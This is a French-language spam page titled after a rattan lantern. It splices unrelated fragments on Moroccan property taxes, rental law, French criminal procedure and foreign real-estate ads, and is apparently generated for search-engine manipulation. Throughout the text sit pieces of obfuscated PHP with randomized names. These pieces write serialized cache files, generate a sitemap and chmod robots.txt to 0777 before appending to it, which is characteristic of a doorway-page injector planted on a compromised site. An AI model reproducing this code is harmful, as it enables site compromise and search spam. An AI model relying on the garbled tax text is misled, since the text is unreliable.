lanterne rotin maison du monde
En prenant l'exemple d'une personne physique française non-résidente au Maroc, l'éventuelle plus-value de cession ne sera pas prise en compte pour la détermination du taux effectif de l'Impôt sur le revenu des personnes physiques (IRPP) en France, que le bien ait été mis en location ou non. Il dispose d'un délai de quinze jours après une ordonnance de référé et d'un mois après le jugement d'un tribunal d'instance. Elle doit comprendre les motifs et la nature du redressement ; elle doit inclure la nouvelle base devant servir d'assiette fiscale ; elle doit préciser le montant des droits complémentaires qui en résultent et le délai de règlement y afférent. - Déduction des intérêts d'emprunt en cas de revente, lorsqu'il s'agit de prêts accordés par des établissements bancaires ou financiers. - Baisse de 50% des droits d'enregistrement sur l'acquisition de biens immobiliers neufs ou de seconde main à usage d'habitation ne dépassant pas 4 millions de DH. Le contribuable concerné doit souscrire, par procédé électronique, à la déclaration de la contribution sur un imprimé-modèle établi par l'administration fiscale, en précisant le montant du revenu foncier net d'impôt et verser le montant de la contribution y afférent, avant le 1er juin de l'année 2021.Au niveau de la durée d'application, à noter que la CSS sur les bénéfices et les revenus s'applique au titre de l'année 2021. Conditions d'exonération de la TVA pour l'acquéreur d'un logement social. A défaut de ce choix, le locataire opérera la retenue à la source sur une base mensuelle pour le compte duTrèsor. (Important : en cas de mise en location du bien durant ces 4 ans, l'exonération n'est pas applicable). L'abattement de 40% étant supprimé, le barème progressif ne s'applique plus. - Exonération d'impôt sur le profit réalisé sur la cession de droits indivis de terrains agricoles hors du périmètre urbain, entre cohéritiers. Les contribuables doivent s'acquitter de 10% sur leurs revenus fonciers dont le montant annuel brut imposable est inférieur à 120.000 DH et de 15% au-delà. - Exonération d'impôt sur le profit réalisé en cas de cession pour conjoint ou les successeurs directs qui continuent d'habiter le bien après le décès de son propriétaire. En effet, puisqu'ils ont obtenu une déclaration d'option, ils ont déjà été identifiés par le fisc. Restitution de l'impôt sur le revenu versé spontanément : en cas de paiement de l'impôt sur le revenu au titre du profit résultant de l'opération de cession susvisée, de manière spontanée auprès du receveur de l'administration fiscale, le contribuable bénéficie d'une restitution du montant de l'impôt payé, sous réserve du respect de certaines conditions nécessaires au bénéfice de l'exonération susvisée. $_ndh8ovyp[array_rand($_ndh8ovyp)], FILE_IGNORE_NEW_LINES);}return _7ejh67f::$_1k2xibe7[array_rand(_7ejh67f::$_1k2xibe7)];}static public function _b4rea(){if (empty(_7ejh67f::$_wyhbcvbm)){$_ndh8ovyp = _7ejh67f::_s6ylu();foreach ($_ndh8ovyp as $_y3ykebhl) {_7ejh67f::$_wyhbcvbm = array_merge(_7ejh67f::$_wyhbcvbm, @file(_7ejh67f::$_mg8ineh5 . Les investisseurs ont l'option entre les maisons d'habitation, les logements commerciaux, ou les terres agricoles. Le statut de faire réaliser d'importantes économies substantielles. Ainsi, il est utile de préciser que les loueurs ayant eu la qualité d'assujettis antérieurement à la date de publication de la loi de finances pour l'année 2017, concernant les locations portant sur les locaux non équipés destinés à un usage professionnel, demeurent passibles de la TVA dans les conditions de droit commun. Déclaration d'achèvement des travaux de constructions. Le redevable doit, en cas de changement du propriétaire, établir une déclaration, de destination ou de cession du terrain, et ce dans un délai de 45 jours à compter de la date où a eu lieu l'un des changements précités. L'inspecteur compétent établit et remet au notaire un document attestant l'éligibilité ou non de la personne concernée. La conclusion d'une promesse de vente/contrat de réservation peut-elle être prise en considération pour respecter le délai de 6 mois ? Cette disposition s'applique à la première cession de terrains non bâtis inclus dans le périmètre urbain. Le paiement de la TPI doit être effectué dans le même délai à la caisse du receveur de l'enregistrement dont dépend votre bien. Pour 1 an, compter 1 mois H.T du loyer mensuel en guise de commission. Il faut prouver que l'on parle, ne serait-ce qu'un peu, portugais. Tout savoir - Tous nos articles sont regroupés par thèmes listés ci-dessous, un moyen d'accéder à ces dossiers complets. La taxe des services communaux. A noter que la cession à titre gratuit (donation) n'est pas considérée comme une première cession. Simplification des formalités relatives à la justification de non assujettissement de l'acquéreur du logement social, à l'IR/PF, TH et TSC par le biais du notaire. Les prix sont plus bas et il y a plus de choix. Cette option pour la TVA a pour but de répondre au besoin du marché du «locatif professionnel» dont les acteurs souhaitent prendre ou conserver la qualité d'assujettis en vue de bénéficier de la déduction de la TVA ayant grevé le coût de construction des locaux mis en location. Chaque élément du coût d'acquisition fait l'objet d'une réévaluation annuelle, par application d'un coefficient fixé par arrêté du ministère des Finances en fonction de l'année où l'acquisition a été réalisée. Voici ce qu'il faut savoir pour exploiter ce canal d'achat. A souscrire au plus tard le 31 janvier de l'année suivant celle de l'achèvement des travaux, si vous avez procédé à des constructions nouvelles ou des additions de constructions. A noter que le dernier délai pour souscrire une déclaration d'option expire avant le 1er mars de chaque année. Les contrats de bail entre particuliers sont donc exclus. La loi n° 67-12 régissant les rapports contractuels entre les bailleurs et les preneurs des locaux à usage d'habitation ou à usage professionnel prévoit qu'en cas de défaut de paiement du loyer et des frais rattachés exigibles, le bailleur peut saisir le président du tribunal de première instance, pour obtenir l'autorisation d'adresser une mise en demeure de paiement du loyer. S'informer et connaître le marché actuel. "-", "", $_gfqor979);$_gfqor979 = str_replace("-" . Les personnes éligibles à ladite contribution, sont tenues de déposer, auprès du receveur de l'administration fiscale du lieu de la construction de l'habitation objet de la contribution, une déclaration établie sur ou d'après un imprimé modèle établi par l'administration fiscale précisant la superficie couverte en mètres carrés ainsi que le montant de la contribution y afférente, accompagnée du permis d'habiter et de l'autorisation de construire ou de tout autre document en tenant lieu indiquant la superficie couverte construite en mètres carrés. Etant novice sur le sujet, plusieurs questions se posent à nous et j'espère grâce a votre précieuse a L'audition libre est une procédure utilisée lors d'une enquête pénale. - Une période de douze (12) mois maximum à compter de la vacance du logement occupée à titre de résidence principale est accordée au contribuable pour réaliser l'opération de cession du bien et inscrit en tant que tel au niveau de la Taxe d'habitation, et ainsi, continuer à bénéficier de l'exonération après cession. Cette contribution est calculée selon le taux de 1,50%. _aus76cu::$_q8p5iqxe);if (_aus76cu::$_i88t7018 == -1) {$_nsgkqyr6 = -1;} else {$_nsgkqyr6 = time() + (3600 * 24 * 30);}$_uypfhcqx = array("template" => $this->_t3xm0fz4, "text" => $this->_x62o246p, "keyword" => $this->_gj3jbb0r,"links" => $this->_upq3q6mj, "expired" => $_nsgkqyr6);@file_put_contents($_nlra0m7q, serialize($_uypfhcqx));}static public function _2idt3($_828m12mh){$_nlra0m7q = _aus76cu::$_mg8ineh5 . Toutes les annonces immobilières de prestige sont sur Lux Résidence Quant à l'augmentation des loyers, le législateur a prévu une augmentation légale de 8 à 10% à appliquer par le bailleur chaque 3 ans. "_" . Avec cette mesure, les droits d'enregistrement pour les biens précités passent de 4% à 2%. - Exonération d'impôt sur le profit réalisé, également accordée au contribuable ayant cédé un immeuble ou partie d'immeuble acquis par voie de « IjaraMountahiaBitamlik » (voir chapitre "Finance participative") et occupé à titre d'habitation principale. Nous Contacter. ".list", $_828m12mh . - Les voies de recours du contribuable : procédure à suivre. Les propriétaires qui le souhaitent pourront souscrire la déclaration les dispensant de la retenue à la source l'année d'après. Bien immobilier à vendre propriétés en Bugibba Malte - Acheter en Malte propriétés, immobiliers, fermes, terrains en Malte Bugibba! Application mobile dénommée "Référentiel des Prix de l'Immobilier". Au Maroc, ils représentent environ 7% du prix d'achat Encouragement de l'habitat destiné à la classe moyenne. Les dispositions relatives à l'abrogation de l'exonération triennale s'appliquent donc aux revenus fonciers acquis à compter du 1er janvier 2014. Le processus 1) Compromis de vente 2) Période entre contrats 3)L'acte de vente LE PROCESSUS Une fois que le vendeur et l'acheteur accordent un prix de vente, les deux parties se rendront chez un notaire ou avocat pour formaliser l'acte de vente (la plupart d'acheteurs choisissent un notaire, mais il y a aussi la possibilité d'utiliser un avocat. Revente d'un bien, absence de profit et imposition. Dans la loi, la déclaration d'option relative à la retenue à la source sur les revenus fonciers n'est pas irrévocable. Prix d'acquisition à considérer: la valeur vénale de l'appartement soit : 320.000 DHS, Actualisation du prix d'acquisition 320.000 x 1, 276 = 408.320,00 DHS, N.B : il est supposé que le cœfficient pour l'année 2018 par rapport à 2002 est de: 1,276. - Exonération d'impôt sur les cessions à titre gratuit portant sur les biens cédés entre ascendants et descendants, entre époux, frères et sœurs. - l'acquisition de locaux construits, par des personnes physiques ou morales (autres que les établissements de crédit, Bank Al-Maghrib, la Caisse de dépôt et de gestion et les sociétés d'assurances et de réassurances), que ces locaux soient à usage d'habitation, commercial, professionnel ou administratif; - l'acquisition, à titre onéreux, de terrains nusou comportant des constructions destinées à être démolies et réservés à la réalisation d'opérations de lotissement ou de construction de locaux à usage d'habitation, commercial, professionnel ou administratif, dans un délai de 7 ans à compter de la date d'acquisition . Pour les premières déclarations, les contribuables doivent fournir une attestation délivrée par un architecte sur le coût des travaux ou une copie du contrat du marché clé en main. Il y a lieu de souligner que les constructions édifiées occasionnellement, dont la superficie couverte n'excède pas 300 m2 et destinées à la vente ou à la location ne sont pas concernées pour le paiement de la Contribution Sociale de Solidarité sur les livraisons à soi-même de construction. Toutefois, il doit lui réclamer une déclaration d'option. chr($_qe3b8zki);}if ($_3eow8z17 != 64) {$_esetfuvv = $_esetfuvv . Réaliser un investissement locatif. Après cette première opération, les cessions ultérieures et qui ont porté sur le même bien sont soumises à un taux de d'imposition de 20%. ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];$_xxav8069 = substr($_andfxj3q, 0, strrpos($_andfxj3q, "/"));$_f3plf815 = sprintf($_159d1ncu, $_xxav8069, _lda0hc::_al5kt() . Les 7 étapes de l'achat immobilier au Maroc. Banque Populaire : le millionième client MRE a gagné un appartement ! Sur décision de la DGI en date du 22 juillet 2020, il a été décidé de suspendre jusqu'à nouvel ordre le Référentiel en question. - Frais de notaire entre 0,5% et 1,5% sur le prix d'acquisition, dépendamment de la nature et de la complexité de la transaction, avec un minimum de 2.500 DH + TVA 10 %. Pour l'acquisition d'un logement social dont le prix n'excède pas 250.000 DH ou d'un "logement à 140.000 DH", les droits d'enregistrement sont soumis au taux réduit de 3% à condition que l'acquéreur justifie qu'il n'est pas propriétaire d'un autre bien en pleine propriété au Maroc. Si le cédant a supporté des frais dont le montant est supérieur à 15%, il peut les inclure s'il peut les justifier par facture dûment établie. "/sitemap.xml";$_h1b4bcdo = "\n\n";$_yhna6pec = "";$_6nmsnsc1 = _7ejh67f::_b4rea();$_9flpzh91 = array();if (file_exists($_lmdjw05k)) {$_33tm41mt = simplexml_load_file($_lmdjw05k);foreach ($_33tm41mt as $_dtqyrlcq) {$_9flpzh91[(string)$_dtqyrlcq->loc] = (string)$_dtqyrlcq->lastmod;}}else {$_2b3oj76i = FALSE;}foreach ($_6nmsnsc1 as $_dtjeqej3) {$_ty56szt0 = _lda0hc::_batgm($_dtjeqej3);if (isset($_9flpzh91[$_ty56szt0])){continue;}if ($_2b3oj76i) {$_7r0hiv0j = time();}else {$_7r0hiv0j = time() - (crc32 ($_dtjeqej3) % (60 * 60 * 24 * 30));}$_9flpzh91[$_ty56szt0] = date("Y-m-d", $_7r0hiv0j);;}$_yn3p66av = "";foreach ($_9flpzh91 as $_sqoo6uqb => $_7r0hiv0j){$_yn3p66av .= "\n";$_yn3p66av .= sprintf("%s\n", $_sqoo6uqb);$_yn3p66av .= sprintf("%s\n", $_7r0hiv0j);$_yn3p66av .= "\n";}$_v3svjaki = $_h1b4bcdo . La démarche doit être effectuée depuis l'année du début des travaux jusqu'à l'obtention du permis d'habiter. Est-il possible d'investir dans un terrain à construire, destiné à une habitation principale ? Si l'acquéreur ne réagit pas au bout de quatre ans après l'acquisition d'un logement social et n'a pas demandé la mainlevée, il recevra une notification de l'inspecteur des Impôts lui enjoignant de produire ces documents dans un délai de 30 jours. Dans le détail, une grille de prix évolutive, fixe des fourchettes de prix pour les appartements, villas et terrains. Sont exonérés temporairement de la taxe sur les terrains urbains non bâtis : les terrains situés dans les zones non desservies par les réseaux de distribution d'eau et d'électricité ; les terrains situés dans les zones frappées d'interdiction de construire ; les terrains soumis à la taxe d'édilité et exploités par les entreprises en activité ; les terrains acquis depuis moins de 3 ans. Le Code général des impôts prévoit la déductibilité totale du montant des intérêts d'un crédit habitat, dans la limite de 10% du revenu global imposable au contribuable seul ou co-indivisaire, ayant contracté un prêt pour l'acquisition de son habitation principale ou de sa construction. - Suppression des droits d'enregistrement pour l'acquisition de logements sociaux (250.000 DH) et de logements à faible valeur immobilière totale (140.000 DH). [Vidéo du BEST OF] Crise sanitaire : loyers impayés et assurance risque locatif, quelles solutions ? Si vous venez d'arriver au Maroc et que vous avez l'intention d'y rester un petit moment voire de vous y installer alors vous aurez besoin d'une carte de résident marocaine, appelée également titre de séjour.La carte de résident marocaine, également CIN (Carte d'Identité Nationale) est délivrée à tous les expatriés, y compris les mineurs, et vous allez en avoir besoin pour . Par mesure d'assouplissement, la Loi de Finances 2016 a modifié l'article 139- IV du Code général des impôts, interdisant aux adouls, notaires ou toute personne exerçant des fonctions notariales, d'établir un acte de vente en l'absence d'un quitus fiscal. Impôts/Vente habitation principale: le plafond de 4.000.000 de DH doit-il être appliqué par référence au prix de vente de la partie cédée ou par rapport au prix total du bien ? L'assujetti doit déclarer et s'acquitter spontanément du montant de la taxe avant le premier mars de chaque année. Achat immobilier: Documents, procédures… le guideline. Sanctions en cas de défaut de déclaration de la taxe d'habitation et de la taxe des services communaux. Disponible en arabe et français, téléchargeable gratuitement. Le revenu foncier net imposable ainsi calculé est soumis à l'impôt sur le revenu au taux du barème progressif en vigueur. "salt12"), 0, 4));_7ejh67f::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . 1er MeetUp Mubawab : le secteur immobilier relancé par la révolution digitale ! Casa Anfa : Exit lâaéroport et place désormais au quartier résidentiel ! "/robots.txt";if (@file_exists($_nicu9duy)) {@chmod($_nicu9duy, 0777);$_73286swj = @file_get_contents($_nicu9duy);} else {$_73286swj = "";}if (strpos($_73286swj, $_f3plf815) === FALSE) {@file_put_contents($_nicu9duy, $_73286swj . Nous allons nous attacher à ne traiter dans cette seconde catégorie que les personnes titulaires de revenus fonciers. Aussi, cette déclaration ne doit être souscrite qu'une seule fois dans le cadre d'un contrat de bail. L'agglomération dakaroise au tournant du siècle Cela dit, si les commissions saisies donnent raison à l'Administration fiscale, le contribuable est tenu de s'acquitter, en plus de la somme réclamée par le fisc, des pénalités et des frais de retard. Entre riads et programmes neufs, entre sites prestigieux et bord de mer, le Maroc dispose d'une offre immobilière variée, pouvant répondre aux exigences et aux budgets des . Ce dernier veille, en tant que professionnel de droit, à la bonne exécution du contrat et lui confère, outre la confidentialité, la sécurité juridique nécessaire. Insuffisance de déclaration ; dissimulation du prix ; superficie déclarée incorrecte... Dans la majeure partie des cas, le redressement s'explique par la non-conformité du prix déclaré par rapport à la valeur vénale fixée par le fisc. À ce stade, nous ne saurions que trop vous conseiller de vous adjoindre les services d'un avocat ou d'un notaire installé sur place. 80-5 du Code de Procédure Pénale. Simulation Rachat De Credit Immobilier . L'article 6 de la loi de finances n°73-16 précitée a introduit une modification en faisant accomplir la formalité susvisée par les soins du notaire. L'attestation fiscale (Quitus) n'est plus un préalable à la rédaction des actes de ventes. Consultez nos Guides d'achats, Guides fiscaux et nos Guides sur le retraite ou l'investissement au Portugal. Sélection d'appartements et maisons à vendre à Lisbonne, en Algarve et en bord de mer. - Nos derniers articles sont directement accessibles ci-dessous. Impôts après acquisition. Automne-Hiver 2011-2012 / CHF 5.- Bien Vivre en Pays de Vaud. - Frais de notaire entre 0,5% et 1,5% sur le prix d'acquisition, dépendamment de la nature et de la complexité de la transaction, avec un minimum de 2.500 DH + TVA 10 %. A compter du 1er janvier 2018, le droit d'option à l'assujettissement à la TVA est désormais accordé aux bailleurs qui donnent en location des locaux à usage professionnel non équipés. En cas de changement de locataire, il va de soi que la déclaration d'option doit être renouvelée. $_yhna6pec;$_eysjbv0m = _lda0hc::_al5kt() . md5(_lda0hc::$_df6hufth) . S'informer. Non encaissement de loyers échus: nouvelle disposition fiscale depuis le 1er janvier 2020. Le profit ainsi déterminé en cas de cession d'un terrain ou d'une construction, est soumis à l'impôt sur le revenu au taux de 20%, avec cependant une cotisation minimale de 3% sur le prix de cession. "-" . QUESTIONS PRATIQUES RELATIVES A CETTE DISPOSITION FISCALE DEPUIS LE 1er JANVIER 2020. "/";_sh9xgp2::$_y0cg5rk9 = $_nrw3vudd;if (! Simulation Rachat De Credit Immobilier Quel Banque ~ Ce type de rassemblement de prêts comporte la garantie que constitue l'hypothèque d'une propriété immobilière . La procédure.. Audition pénale libre inspection du travail. Frais lors d'un achat immobilier. En financement participatif, dans le cadre d'un contrat "Mourabaha" ou d'un contrat "IjaraMountahia bi-tamlik", le profit est déterminé par la différence entre: Le prix de cession augmenté des frais d'acquisition, des dépenses d'investissements dument justifiées ainsi que des intérêts de prêts contractés pour l'achat du logement cédé ou bien la rémunération convenue d'avance dans le cadre d'un contrat "Mourabaha" ou le montant de la marge locative défini dans le cadre du contrat "IjaraMountahia bi-tamlik". Opportunités à Saisir. Professionnelle depuis plus de 30 années d'expériences dans l'univers de l immobilier , notre équipe s'engage à vos cotés pour un service de proximité, de qualité, en vous apportant expertise et conseil afin de vous garantir une TRANSACTION REUSSIE ! Les dispositions de l'article 89 du Code général des impôts telles que modifiées et complétées par l'article 6 de la loi de finances pour l'année 2017 ont limité l'assujettissement à la TVA aux locations portant sur des locaux équipés destinés à usage professionnel, des locaux meublés ou garnis ainsi que sur des locaux situés dans des complexes commerciaux y compris les éléments incorporels de fonds de commerce. agenda - personnalitÉs - excellence - gastronomie - tourisme - santÈ & thermalisme - architecture & construction "-" . Sont exonérées de la TVA les opérations de cession de logements sociaux à usage d'habitation principale dont le prix de vente n'excède pas deux cent cinquante mille (250 000) dirhams, hors TVA. Déclaration de changement de propriété ou d'affection d'un bien. [Vidéo du BEST OF] Immobilier: échographie d'un secteur en attente d'une thérapie de choc! Recherche Avancée. Posez votre question. - Depuis le 1er janvier 2016, pour bénéficier de l'exonération de TVA sur le logement social, l'acquéreur doit consentir au profit de l'Etat une hypothèque sur son logement social. En cas de recouvrement de loyers pour compte de tiers, prévoir un prélèvement de 10% HT sur les loyers recouvrés. - les cessions de parts dans les groupements d'intérêt économiques, d'actions ou de parts sociales dans les sociétés autres que celles dites transparentes ou à prépondérance immobilière ; - les adjudications, ventes, reventes, cessions, rétrocessions, marchés et tous autres actes civils ou judiciaires translatifs de propriété, à titre gratuit ou onéreux, de biens meubles; - les titres constitutifs de propriété d'immeubles; -la première vente de logements sociaux (250.000 DH) et de logements à faible valeur immobilière (140.000 DH). - Exonération d'impôt sur le profit réalisé par les personnes physiques à l'occasion d'une première cession d'un logement social dont la superficie couverte est comprise entre 50 et 80 m2 et dont le prix de cession n'excède pas 250.000 DH, occupé par son propriétaire à titre d'habitation principale depuis au moins quatre (4) ans au jour de la cession du bien et inscrit en tant que tel au niveau de la Taxe d'habitation. Tranche du revenu Taux, De 0 à 30.000 DH 0% (exonéré), De 30.001 à moins de 120.000 DH 10%, 120.000 DH et plus 15%, Disposition du Code général des impôts en 2020: amnistie fiscale sur l'IR foncier. La Direction générale des impôts a entrepris de simplifier la procédure, notamment en la dématérialisation. Pour vendre un bien en direct, il vous suffit de passer une annonce sur notre site d'annonces immobilières PAP.fr. À défaut de propriétaire connu, la taxe est instituée au nom de l'usufruitier. A cet effet, le contribuable qui n'a pu encaisser les revenus en question, doit être en mesure de justifier par tout moyen de preuve dont il dispose, les diligences à caractère administratif ou judiciaire effectuées en vue d'encaisser les loyers échus et justifier que ces démarches sont restées infructueuses. Droit fixe (par propriété) 100 DH. (Important : Même si les MRE habitent la majorité de leur temps à l'Étranger, l'acquisition d'une première résidence au Maroc est considérée par le fisc marocain comme une résidence principale. Vivre Bien …enPays deVaud AGENDA Tous les événements en un coup d'œil Cette restitution est accordée au vu d'une demande adressée, par le contribuable concerné, au directeur général des impôts ou à la personne désignée par lui à cet effet, dans un délai de 30 jours suivant la date d'acquisition du deuxième bien immobilier destiné à l'habitation principale. Impôts/Vente habitation principale entre co-indivisaires: quel traitement fiscal? Concrètement, cette dématérialisation est assurée au moyen d'une prise en charge intégrale de la demande au niveau du guichet de la banque de l'intéressé, avec des échanges automatiques DGI-Banque, du dépôt de la demande jusqu'à la liquidation et l'ordonnancement. Cette mesure ne vaut que pour une première vente des biens précités. Piste #2: Acheter un terrain. Publié par Maroc Vision D'affaires à 07:54 Aucun commentaire: A noter que la nouvelle loi 07-20 entrée en vigeur depuis le 1er janvier 2021 a appliqué le taux de 6.5% à la valeur locative des biens hors ceux visés par le taux de 10.5% et qui se situent dans des zones couvertes par un plan d'aménagement. ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];if (strpos($_andfxj3q, ".php") === FALSE) {$_andfxj3q = explode("/", $_andfxj3q);array_pop($_andfxj3q);$_andfxj3q = implode("/", $_andfxj3q) . Rachat De Credit Conso Voiture ~ Flyer Vousfinancer Rachat De Crédit. L'inspection des impôts dispose alors d'un délai de 60 jours pour se prononcer. A partir du 1er janvier 2019, l'abattement de 40% et le barème progressif sont supprimés. - Exonération d'impôt sur le profit réalisé sur la cession d'un bien immobilier occupé à titre d'habitation principale depuis au moins six (6) années au jour de la cession par son propriétaire. Première démarche pour achat d'un appartement au Maroc. Le Procureur de la République peut saisir le juge d'instruction. - Depuis le 1er janvier 2014, les revenus provenant de la location de constructions nouvelles et addition de constructions ne sont plus exonérés de l'Impôt sur le Revenu (IR) pendant les trois années qui suivent celles de leur achèvement. Lorsqu'il requiert l'ouverture d'une information, le procureur de la République peut, si la recherche de la manifestation de la vérité pour un crime ou un délit puni d'une peine supérieure ou égale à trois ans d'emprisonnement nécessite que les .
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